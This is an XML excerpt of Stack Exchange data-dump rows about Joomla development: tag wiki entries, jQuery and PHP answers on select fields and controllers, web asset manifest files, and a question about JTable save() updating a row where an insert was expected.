  <row Id="29177" PostTypeId="5" CreationDate="2021-05-18T10:37:41.083" Score="0" Body="&lt;p&gt;The Doctrine Project (or Doctrine) is a set of PHP libraries primarily focused on providing persistence services and related functionality. Its prize projects are an object–relational mapper (ORM) and the database abstraction layer it is built on top of. Official website: &lt;a href=&quot;https://www.doctrine-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.doctrine-project.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:37:41.083" LastActivityDate="2021-05-18T10:37:41.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29178" PostTypeId="4" CreationDate="2021-05-18T10:37:41.083" Score="0" Body="For questions regarding Doctrine, an object–relational mapper and the database abstraction layer" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:37:41.083" LastActivityDate="2021-05-18T10:37:41.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29179" PostTypeId="2" ParentId="29145" CreationDate="2021-05-18T15:52:14.120" Score="2" Body="&lt;p&gt;You need to use your own custom JS for this.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example for your given XML.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;    var catFieldName = 'fieldCat';&#xA;    var itemFieldName = 'fieldItem';&#xA;    &#xA;    var showHideFieldOptions = function() {&#xA;        var selectedCategory = $('select[name=&amp;quot;jform[params][' + catFieldName + ']&amp;quot;]').val(),&#xA;            $itemField = $('select[name=&amp;quot;jform[params][' + itemFieldName + ']&amp;quot;]');&#xA;        &#xA;        $itemField.find('option[value=&amp;quot;1&amp;quot;], option[value=&amp;quot;2&amp;quot;]').attr('disabled', true);&#xA;        &#xA;        if (selectedCategory == 1) {&#xA;            $itemField.find('option[value=&amp;quot;1&amp;quot;]').removeAttr('disabled');&#xA;        } else if (selectedCategory == 2) {&#xA;            $itemField.find('option[value=&amp;quot;2&amp;quot;]').removeAttr('disabled');&#xA;        }&#xA;        &#xA;        $itemField.trigger('liszt:updated');&#xA;    }&#xA;    &#xA;    $(function() {&#xA;        showHideFieldOptions();&#xA;        &#xA;        $('select[name=&amp;quot;jform[params][' + catFieldName + ']&amp;quot;]').on('change', function() {&#xA;            showHideFieldOptions();&#xA;        });&#xA;    });&#xA;    &#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It will be better if you set the item field as required (required=&amp;quot;true&amp;quot;).&lt;/p&gt;&#xA;" OwnerUserId="6945" LastEditorUserId="6945" LastEditDate="2021-05-18T16:39:14.150" LastActivityDate="2021-05-18T16:39:14.150" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29180" PostTypeId="2" ParentId="29137" CreationDate="2021-05-18T16:55:10.280" Score="2" Body="&lt;p&gt;MycomponentController class is missing the &lt;code&gt;class&lt;/code&gt; prefix. It should be -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Example\Mycomponent\Libraries\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;&#xA;class MycomponentController extends BaseController&#xA;{&#xA;    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)&#xA;    {&#xA;        $this-&amp;gt;app      = Factory::getApplication();&#xA;    &#xA;        if (empty($this-&amp;gt;input))&#xA;        {&#xA;            $this-&amp;gt;input = $this-&amp;gt;app-&amp;gt;input;&#xA;        }&#xA;&#xA;        parent::__construct($config, $factory, $app, $input);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If it does not help, try by declaring the getModel method in the search controller class -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Example\Mycomponent\Site\Controllers;&#xA;&#xA;class SearchController extends MycomponentController&#xA;{&#xA;    public function __construct($config = [])&#xA;    {&#xA;        parent::__construct($config);&#xA;    } &#xA;   &#xA;    public function results()&#xA;    {&#xA;        $model = $this-&amp;gt;getModel('Search');&#xA;        $this-&amp;gt;setRedirect(&#xA;            $model-&amp;gt;getSearchURL(&#xA;                'search',&#xA;                $model-&amp;gt;getState('searchwords'),&#xA;                $model-&amp;gt;getState('list.start'),&#xA;                $model-&amp;gt;getState('list.limit'),&#xA;                $model-&amp;gt;getUrlParams(),&#xA;                false&#xA;            )&#xA;        );&#xA;    }&#xA;    &#xA;    public function getModel($name = 'Search', $prefix = 'Site', $config = array('ignore_request' =&amp;gt; true))&#xA;    {&#xA;        return parent::getModel($name, $prefix, $config);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6945" LastEditorUserId="6945" LastEditDate="2021-05-18T18:01:49.943" LastActivityDate="2021-05-18T18:01:49.943" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29181" PostTypeId="2" ParentId="29123" CreationDate="2021-05-18T17:08:46.073" Score="2" Body="&lt;p&gt;For Joomla 3 - There is nothing to worry about; the CliApplication class constructor checks to see if the command is being called from the command line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Close the application if we are not executed from the command line.&#xA;if (!defined('STDOUT') || !defined('STDIN') || !isset($_SERVER['argv']))&#xA;{&#xA;    $this-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For Joomla 4 - you are rightly concerned, and I'm about to make a &lt;a href=&quot;https://opensource.stackexchange.com/q/352&quot;&gt;PR&lt;/a&gt; for a security fix for this: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/33946&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/33946&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastEditorUserId="12352" LastEditDate="2021-05-18T21:40:19.140" LastActivityDate="2021-05-18T21:40:19.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29182" PostTypeId="2" ParentId="29044" CreationDate="2021-05-18T21:55:31.070" Score="8" Body="&lt;h2&gt;To your first question &amp;quot;how can I make Joomla acknowledge my joomla.asset.json changes without reinstalling extensions?&amp;quot;&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I think it is not right that you have to reinstall the extension after every change in the file &lt;code&gt;joomla.asset.json&lt;/code&gt;. It is only necessary the first time you add the &lt;code&gt;joomla.asset.json&lt;/code&gt; file. So that Joomla registers this file. So you need one install with the entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;media folder=&amp;quot;media/com_foos&amp;quot; destination=&amp;quot;com_foos&amp;quot;&amp;gt;&#xA;        &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;joomla.asset.json&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the install manifest. If you create the file &lt;code&gt;joomla.asset.json&lt;/code&gt; and do not install, Joomla does not know the file - with some other files this is possible. But, if Joomla knows &lt;code&gt;joomla.asset.json&lt;/code&gt;, you can edit the content later.&lt;/p&gt;&#xA;&lt;p&gt;I had the following file and renamed the javascript from &lt;code&gt;foos-modal.js&lt;/code&gt; to &lt;code&gt;admin-foos-modal.js&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;com_foos&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;1.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;Joomla CMS&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_foos.admin-foos-modal&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_foos/foos-modal.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I didn't have to reinstall my extension while developing. I only changed the &lt;code&gt;uri&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;com_foos&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;1.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;Joomla CMS&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_foos.admin-foos-modal&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_foos/admin-foos-modal.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The renamed file was recognised. It is also possible to change the attributes, for example change &lt;code&gt;defer&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Secondly, you don't have to use the &lt;code&gt;joomla.asset.json&lt;/code&gt; file. In the &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; you will find many entries like: &lt;code&gt;Register custom item without json definition&lt;/code&gt;. For example, for a StyleSheet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// Register custom item without json definition&#xA;$wa-&amp;gt;registerStyle('bar', 'com_example/bar.css', [], ['data-foo' =&amp;gt; 'some attribute'], ['some.dependency']);&#xA;// And use it later&#xA;$wa-&amp;gt;useStyle('bar');&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;To your second question: &amp;quot;why the web asset manager loads finder.min.js when my template doesn't ask for it? is it requested for the mod_search? further more I'm getting Uncaught TypeError: a is not a constructor at finder.min.js:1 when again my template doesn't ask for it;&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;We needed your code to answer this question. It may be that you insert a dependency that has the file &lt;code&gt;finder.min.js&lt;/code&gt; as a dependency.&#xA;Or you have the Finder search active in your website and the file is loaded because of the Finder &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/build/media_source/com_finder/joomla.asset.json&quot; rel=&quot;noreferrer&quot;&gt;joomla.asset.json&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;com_finder&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;Joomla CMS&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.dates&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/dates.min.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.filters.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/filters-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.filters&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/filters.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.filters.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.finder&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/finder.min.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.finder.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/finder-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.finder&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/finder.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.finder.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.finder-edit.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/finder-edit-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.finder-edit&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/finder-edit.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.finder-edit.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.index.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/index-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.index&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/index.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.index.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.indexer&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/indexer.min.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.indexer.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/indexer-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.indexer&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/indexer.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.indexer.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.maps.es5&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/maps-es5.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;nomodule&amp;quot;: true,&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_finder.maps&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_finder/maps.min.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;com_finder.maps.es5&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&lt;p&gt;I think it is important to understand that the &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;noreferrer&quot;&gt;Joomla Web Assets Manager&lt;/a&gt; manages all assets in a Joomla installation. If I see it correctly, it does not apply specifically to a template. If an extension is loaded and needs these assets, it can also use the Web Assets Manager. But: It does not have to. Assets can still be included via &lt;code&gt;Joomla\CMS\HTML\HTMLHelper&lt;/code&gt; - for example via &lt;code&gt;HTMLHelper::_('jquery.framework');.&lt;/code&gt; &lt;strong&gt;The advantage of the Webassets Manager&lt;/strong&gt; is that it ensures that these assets are no longer loaded twice if two extension include the same file. And the Assets are loaded in the correct order. This prevents conflicts.&lt;/p&gt;&#xA;&lt;p&gt;I can't see in your image that a &lt;code&gt;finder.min.js&lt;/code&gt; file is included in the &lt;code&gt;head&lt;/code&gt;. By the way : &lt;code&gt;com_finder&lt;/code&gt; has nothing to do with &lt;code&gt;mod_search&lt;/code&gt;. &lt;a href=&quot;https://github.com/joomla-extensions/search&quot; rel=&quot;noreferrer&quot;&gt;com_search&lt;/a&gt; was &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/20637&quot; rel=&quot;noreferrer&quot;&gt;decoupled&lt;/a&gt; in Joomla 4. Maybe you can still find it in your installation for backwards compatibility reasons. Nevertheless:&#xA;Finder is now the default search and the assets are called &lt;code&gt;finder*&lt;/code&gt;. The assets of &lt;code&gt;*_search&lt;/code&gt; are called &lt;code&gt;search*&lt;/code&gt;. The error &lt;code&gt;Uncaught TypeError: a is not a constructor at finder.min.js:1&lt;/code&gt; probably occurred when you included a Finder extension and the file &lt;code&gt;finder.min.js&lt;/code&gt; was loaded because of the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/build/media_source/com_finder/joomla.asset.json&quot; rel=&quot;noreferrer&quot;&gt;joomla.asset.json&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can't answer the other questions. I've been reading up on web assets mainly for embedding in a component. But I can imagine that you need the file &lt;code&gt;core.js&lt;/code&gt; for editing in the frontend. You will certainly need &lt;code&gt;searchtools.js&lt;/code&gt; for list views where you want to offer functions for searching, filtering and sorting via Joomla. But these are only assumptions. If I had to implement now, I would look at the file and decide on a case-by-case basis.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="7387" LastEditDate="2021-05-22T10:44:35.220" LastActivityDate="2021-05-22T10:44:35.220" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29183" PostTypeId="1" AcceptedAnswerId="29184" CreationDate="2021-05-20T16:53:04.493" Score="1" ViewCount="394" Body="&lt;p&gt;I'm trying to insert a row with the &lt;code&gt;table-&amp;gt;save()&lt;/code&gt; method, but the method executes an UPDATE instead. There is no row available, so it needs to be inserted. Does anyone know how to get it inserted?&lt;/p&gt;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$tableLocation = $this-&amp;gt;getTable(&amp;quot;Location&amp;quot;, 'Table', array());&#xA;if (!$tableLocation-&amp;gt;save($data))&#xA;{&#xA;    $this-&amp;gt;setError($user-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This runs the query UPDATE, but it needs to be INSERT if not available.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Ok so I found the solution, partly. My construct method in my Table class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;parent::__construct('#__matches_location', 'user_id', $db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because I set the primary key to the user_id field it tried to update. So I changed it to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;parent::__construct('#__matches_location', 'id', $db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But now I get another issue:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Duplicate entry '185' for key 'user_id'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is correct, there is a record for 185 in it already.&lt;/p&gt;&#xA;&lt;p&gt;The correct way is to use the id as primary key, but then I need to change the Location table store (?) method to set everything right. Is that correct?&lt;/p&gt;&#xA;&lt;p&gt;Ok so I tried the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($array, $ignore = '')&#xA;    {&#xA;&#xA;        if($this-&amp;gt;load(['user_id' =&amp;gt; $array['user_id']])) {&#xA;            $array['id'] = $this-&amp;gt;id;&#xA;        }&#xA;&#xA;        //echo $this-&amp;gt;id;&#xA;&#xA;        return parent::bind($array, $ignore);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gives me an memory error. Probably a memory leak somewhere. So I moved the code to the store fucntion:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = false)&#xA;    {&#xA;&#xA;        if($this-&amp;gt;load(['user_id' =&amp;gt; $this-&amp;gt;user_id])) {&#xA;            $this-&amp;gt;id = $this-&amp;gt;id;&#xA;        }&#xA;&#xA;        return parent::store($updateNulls);&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this doesn't do anything, because well, I load the row, and thus the new values sent are being overwritten. Do I need to get these values first and then change them in the new loaded row?&lt;/p&gt;&#xA;&lt;p&gt;It all seems so cumbersome, there must be an easier way right? I cannot imagine this is some sort of unique situation.&lt;/p&gt;&#xA;&lt;p&gt;SOLUTION:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//Store data, check if records exist &#xA;if($tableLocation-&amp;gt;load(['user_id' =&amp;gt; $data['user_id']])) { $data['id'] = $tableLocation-&amp;gt;id; } &#xA;&#xA;if (!$tableLocation-&amp;gt;save($data)) &#xA;{ &#xA;     $this-&amp;gt;setError($user-&amp;gt;getError()); &#xA;     return false; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditDate="2021-05-22T15:18:41.040" LastActivityDate="2021-05-22T15:18:41.040" Title="JTable, new row doesn't get inserted with table-&gt;save method" Tags="|component|custom-component|database|jtable|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29184" PostTypeId="2" ParentId="29183" CreationDate="2021-05-20T19:48:43.563" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4d1fee713dae4258b93123b83aba9020cfee6253/libraries/src/Table/Table.php#L917&quot; rel=&quot;nofollow noreferrer&quot;&gt;save()&lt;/a&gt; calls &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4d1fee713dae4258b93123b83aba9020cfee6253/libraries/src/Table/Table.php#L776&quot; rel=&quot;nofollow noreferrer&quot;&gt;store()&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Store() works like this:&#xA;If a primary key value is set the row with that primary key value will be updated with the instance property values. If no primary key value is set a new row will be inserted into the database with the properties from the Table instance.&lt;/p&gt;&#xA;&lt;p&gt;Please check, if the primary key of the database table is set in your $data objekt.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="7387" LastEditDate="2021-05-20T20:13:01.063" LastActivityDate="2021-05-20T20:13:01.063" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29185" PostTypeId="5" CreationDate="2021-05-21T13:58:18.207" Score="0" Body="&lt;p&gt;Menu Parameters can be configured in Menu Items. The settings can be read and used by the component that has been configured in the menu item.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T13:58:18.207" LastActivityDate="2021-05-21T13:58:18.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29186" PostTypeId="4" CreationDate="2021-05-21T13:58:18.207" Score="0" Body="are the configuration options that can be configured in the menu item, and used by the component that the menu item triggers." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T13:58:18.207" LastActivityDate="2021-05-21T13:58:18.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29187" PostTypeId="5" CreationDate="2021-05-21T13:58:51.003" Score="0" Body="&lt;p&gt;A modal is a dialog popup window that is displayed on top of the current page.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T13:58:51.003" LastActivityDate="2021-05-21T13:58:51.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29188" PostTypeId="4" CreationDate="2021-05-21T13:58:51.003" Score="0" Body="A modal is a dialog popup window that is displayed on top of the current page." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T13:58:51.003" LastActivityDate="2021-05-21T13:58:51.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29189" PostTypeId="5" CreationDate="2021-05-21T14:03:25.650" Score="0" Body="&lt;p&gt;The router translates nice Search Friendly URLs like &lt;code&gt;/some-name/some-other-name&lt;/code&gt; to internal links like &lt;code&gt;/index.php?option=com_component&amp;amp;view=some-view&amp;amp;id=123&lt;/code&gt; that Joomla uses to open a component + view + specific item.&lt;/p&gt;&#xA;&lt;p&gt;The router also creates (builds) nice URL when displaying such internal links on the front-end of the website&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T14:03:25.650" LastActivityDate="2021-05-21T14:03:25.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
